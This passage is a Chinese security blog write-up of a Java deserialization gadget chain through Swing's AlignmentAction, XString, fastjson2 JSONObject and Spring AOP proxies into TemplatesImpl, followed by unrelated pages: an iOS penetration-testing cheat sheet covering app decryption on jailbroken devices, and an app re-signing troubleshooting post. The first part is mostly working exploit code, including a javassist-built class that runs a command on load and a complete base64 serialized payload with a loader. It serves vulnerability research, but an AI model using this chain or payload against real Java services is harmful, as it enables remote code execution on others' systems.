再跟进putValue()方法:

image

再看firePropertyChange()方法:

image

很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

再看writeObject()方法:

image

整个过程都是与arrayTable变量相关的:

image

由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

基本过程已经清楚,现在来尝试构造。

尝试构造

首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

image

这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

来看AlignmentAction的构造函数:

image

这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

image

NAME变量定义如下:

image

故这里会在实例化时就放进去一个键值对。

这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void putValue(String key, Object newValue) {
Object oldValue = null;
if (key == "enabled") {
if (newValue == null || !(newValue instanceof Boolean)) {
newValue = false;
}
oldValue = enabled;
enabled = (Boolean)newValue;
} else {
if (arrayTable == null) {
arrayTable = new ArrayTable();
}
if (arrayTable.containsKey(key))
oldValue = arrayTable.get(key);
// Remove the entry for key if newValue is null
// else put in the newValue for key.
if (newValue == null) {
arrayTable.remove(key);
} else {
arrayTable.put(key,newValue);
}
}
firePropertyChange(key, oldValue, newValue);
}

毫无疑问这里主要的逻辑就是:

1
2
3
arrayTable = new ArrayTable();
arrayTable.put(key,newValue);
firePropertyChange(key, oldValue, newValue);

也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

image

这里有一个非常关键的逻辑:**||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在序列化前放入键值对无影响,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值**即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

跟进changeSupport变量的定义:

image

找到对应的SwingPropertyChangeSupport类:

image

故我反射修改变量changeSupport为这个类实例即可。

并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

故可以简单尝试构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("fupanc1233");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

image

从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

image

很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

image

虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("text");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
// ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
// in.readObject();
// in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

image

然后就可以愉快的反序列化弹计算机了:

image

是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果

最后贴一个mac环境下的paylaod验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
// byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
// System.out.println(Base64.getEncoder().encodeToString(data));
String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
ois.readObject();
ois.close();
}
}

参考文章

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

https://xz.aliyun.com/news/14333

https://arthas.aliyun.com/doc/quick-start.html

https://xz.aliyun.com/news/18467

iOS移动命令渗透测试备忘录

iOS移动命令渗透测试备忘录

本文转自 周边 并作补充

注意:iOS应用程序与Android应用程序具有不同的环境,此处的某些命令仅适用于MacOS。

**iOS**指南

Install Brew, 打开 terminal (Finder -> Application -> Utilities -> Terminal) 键入命令 :
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Install XCode, 打开 terminal 并运行命令 :
$ xcode-select --install
或者您可以手动下载 Apple Website

将您的Apple ID注册为Apple Developer Account。您无需为此部分的Apple Developer Program付费,只需将您的帐户注册到Developer中,因为我们只需要获得用于在XCode或其他工具上签名ipa文件的证书即可。

通过USB的(iPROXY)

http://iphonedevwiki.net/index.php/SSH_Over_USB

从应用商店或iPhone/iPad设备下载.ipa文件

需要越狱

Clutch

Clutch

Frida Script

Frida-ios-dump command: $ iproxy 2222 22 $ ./dump.py BundleID

iOS二进制分析

ios-Analysis

Download : ios-analysis

安装 :

1
2
3
$ git clone https://github.com/IAIK/ios-analysis
$ cd ios-analysis
$ git submodule update --init --recursive

如果您遇到这样的错误 : error: RPC failed; curl 56 LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 60

运行这个命令: git config http.postBuffer 524288000

使用Windows登录并安装.ipa

  • 下载altsigner
  • 安装最新的iTunes(注意:使用二进制文件安装,请勿从Microsoft Store安装)
  • 打开Itunes并选择设备以复制设备的UDID
  • 打开altsigner.exe,填写您的[电子邮件,密码,UDID,.ipa文件路径]

使用我们的配置文件签名IPA文件

该工具非常有用:) iOS App Signer基于GUI。要生成我们的配置文件,您可以在安装应用程序时在XCODE上进行配置。

疑难问题

如果您收到这样的错误消息 If you have previously trusted your certificate using Keychain, please set the Trust setting back to the system default

不要惊慌,这样做:

  1. 进入Xcode并从“首选项”中删除您的帐户
  2. 去 ~/Library/MobileDevice/Provisioning 在finder中配置文件并删除其中的文件
  3. 进入钥匙串并删除所有提及Mac Developer,iOS Developer等的个人证书等
  4. 将您的帐户重新添加到Xcode中,然后选择吊销现有证书(如果无法吊销,请保留该证书)
  5. 转到xcode,然后尝试将虚拟应用程序安装到设备中。此步骤将触发苹果生成新的我们的证书。
  6. 然后,打开iOS App Signer

记一次重签名错误

记一次重签名错误

本文转自 听月 并作补充

什么问题?

最近打开Cydia就闪退,我就重新去下载了uncOver,打算重新越狱一下,但是在重签名的时候一直失败,提示”No codesigning certificates found”的错误。

image

什么原因导致?

由于我之前使用iOS App Signer这个MAC软件一直没有问题,今天遇到这个问题,我就想去github把源码克隆到本地,然后调试一下,看看具体是什么原因导致。
打开源码直接搜索No codesigning发现,这个错误是一个Alert弹框,和我们遇到的弹框信息一致。

image

最终调试发现,在程序调用/usr/bin/security find-identity -v -p codesigning命令时由于返回值为空,才触发错误弹框。

image

我把命令拷贝到终端执行,发现返回有效的identity的数量是0:

1
2
$ /usr/bin/security find-identity -v -p codesigning
0 valid identities found

此处的命令的意思是:

1
2
3
4
5
6
7
8
9
10
11
12
/usr/bin/security:
A simple command line interface which lets you administer keychains,
manipulate keys and certificates, and do just about anything the
Security framework is capable of from the command line.
(是一个管理钥匙串、keys和证书的命令行接口)

find-identify:
查找证书和私钥key的命令

-v: 只显示有效的证书,默认显示所有的证书

-p: 指定策略

具体的命令行的文档查看一下:

1
2
3
4
5
6
7
8
9
10
11
$ /usr/bin/security find-identity --help
find-identity: illegal option -- -
Usage: find-identity [-p policy] [-s string] [-v] [keychain...]
-p Specify policy to evaluate (multiple -p options are allowed)
Supported policies: basic, ssl-client, ssl-server, smime, eap,
ipsec, ichat, codesigning, sys-default, sys-kerberos-kdc, macappstore, appleID
-s Specify optional policy-specific string (e.g. DNS hostname for SSL,
or RFC822 email address for S/MIME)
-v Show valid identities only (default is to show all identities)
If no keychains are specified to search, the default search list is used.
Find an identity (certificate + private key).

怎么解决?

由于使用/usr/bin/security find-identity -v -p codesigning命令无法查询本地有效的重签名证书,我首先想到的就是更换查询策略,根据命令行文档可以看出,策略有很多种,包括basic, ssl-client ssl-server, smime, eap,ipsec, ichat, codesigning, sys-default, sys-kerberos-kdc, macappstore, appleID。经过尝试,发现策略改成appleID的时候是可以查询到有效证书的。但是这两个命令是有区别的。具体的区别如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
poet@poetdeMacBook-Pro ~ % /usr/bin/security find-identity -v -p codesigning
1) C766972EC48052D14E3A2D715F03960E10B4XXXX "Apple Development: Zhang San (MGRQJNV411)"
2) 8EA5E415105CEE96F75EAFA443B6AC992FC9CCCC "Apple Development: Li Si (SB6BFS5U22)"
3) AEF5450BA48F61EE1B5A718B7563D855E306DDDD "iPhone Developer: Zhang San (MGRQJNV433)"
3 valid identities found
poet@poetdeMacBook-Pro ~ % /usr/bin/security find-identity -v -p appleID
1.2.840.113635.78.1.30
1) F87912EA9F939D6F044F1B86A165C5D8AC8CAAAA "com.apple.idms.appleid.prd.5675685073322f516b6a565a55775471374c72424b671234" (CSSMERR_TP_CERT_EXPIRED)
2) 8751799A43C85FEF3914DE664E2A05251F40BBBB "Mac Developer: Lao Wang (H2C8DTYK00)" (CSSMERR_TP_CERT_EXPIRED)
3) C766972EC48052D14E3A2D715F03960E10B4CCCC "Apple Development: Zhang San (MGRQJNV411)" (Missing required extension)
4) 8EA5E415105CEE96F75EAFA443B6AC992FC9DDDD "Apple Development: Li Si (SB6BFS5U22)" (Missing required extension)
5) AEF5450BA48F61EE1B5A718B7563D855E306EEEE "iPhone Developer: Zhang San (MGRQJNV433)" (Missing required extension)
5 valid identities found

经过上面的对比,发现策略是codesigning的时候查询出来的是所有有效的重签名的证书,不包含其他的证书(比如:苹果的idms官方证书、MAC电脑的证书等),但是策略是appleID的时候查询出来的证书一定包含策略codesigning查询出来的证书。所以,当使用策略codesigning无法查询出证书情况的时候,可以考虑把策略换成appleID来查询。所以解决办法就是将codesigning策略换成appleID的策略。

提交Pull Request

解决这个问题之后,我去github仓库的issue里面看,发现很多人也有类似的问题,我就自己尝试提交了一个Pull Request到作者的仓库,虽然作者很久没有更新了,但是如果后续还有人碰到此问题可以通过类似的办法解决。如何提交Pull Request,我是参考github上的一个帖子,具体步骤如下:

如何在别人的开源项目中提交自己的Pull Request ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.先在本地创建一个空文件夹,里面准备放克隆过来的代码. --> 我在本地Downloads文件夹下创建了一个名为 gitMessagekit 的文件夹.
2.在"终端"中通过cd命令进入到gitMessagekit文件夹下(将"自己电脑的用户名"换成你自己的电脑的用户名). --> cd /Users/自己电脑的用户名/3.Downloads/gitMessagekit
3.在"终端"输入克隆命令 git clone 开源项目源代码的url. --> git clone https://github.com/MessageKit/MessageKit.git
4.进入到克隆所在的文件夹. --> cd /Users/自己电脑的用户名/Downloads/gitMessagekit/MessageKit
5.用查看命令查看一下开源项目都有多少个分支. --> git branch -a
6.找到自己要切换的分支,准备切换分支,在这里我要切换到3.0.0-beta分支. --> git checkout remotes/origin/3.0.0-beta
7.基于远程分支新建本地分支(3.0.0-beta),2条命令. --> git branch 3.0.0-beta git checkout 3.0.0-beta
8.打开/Users/自己电脑的用户名/Downloads/gitMessagekit/MessageKit该路径下的代码,对代码进行修改.
9.添加修改. --> git add 你修改的文件
10.提交修改. --> git commit -m "fix 某某问题"
11.去自己的git仓库,准备fork一下开源项目MessageKit到自己的仓库(repository)中.
12.即将关联自己fork过的项目. --> git remote add upstream git@github.com:xxjldh/MessageKit.git
13.推送本地的分支(3.0.0-beta)到自己fork过的仓库中,2条命令. --> git fetch origin git merge origin/3.0.0-beta
14.在即将提交时出现这样一个错误,git@github.com: Permission denied (publickey).解决办法(https://www.jianshu.com/p/f22d02c7d943)
15.最后push自己的分支到自己fork过的仓库中. --> git push upstream 3.0.0-beta
16.在开源项目https://github.com/MessageKit/MessageKit.git的pull request中添加自己刚修改过的文件, 点"comment pull request"即可.

下载链接

下载App重签名工具

参考链接

Mac Security工具使用总结
security命令
如何给开源项目贡献代码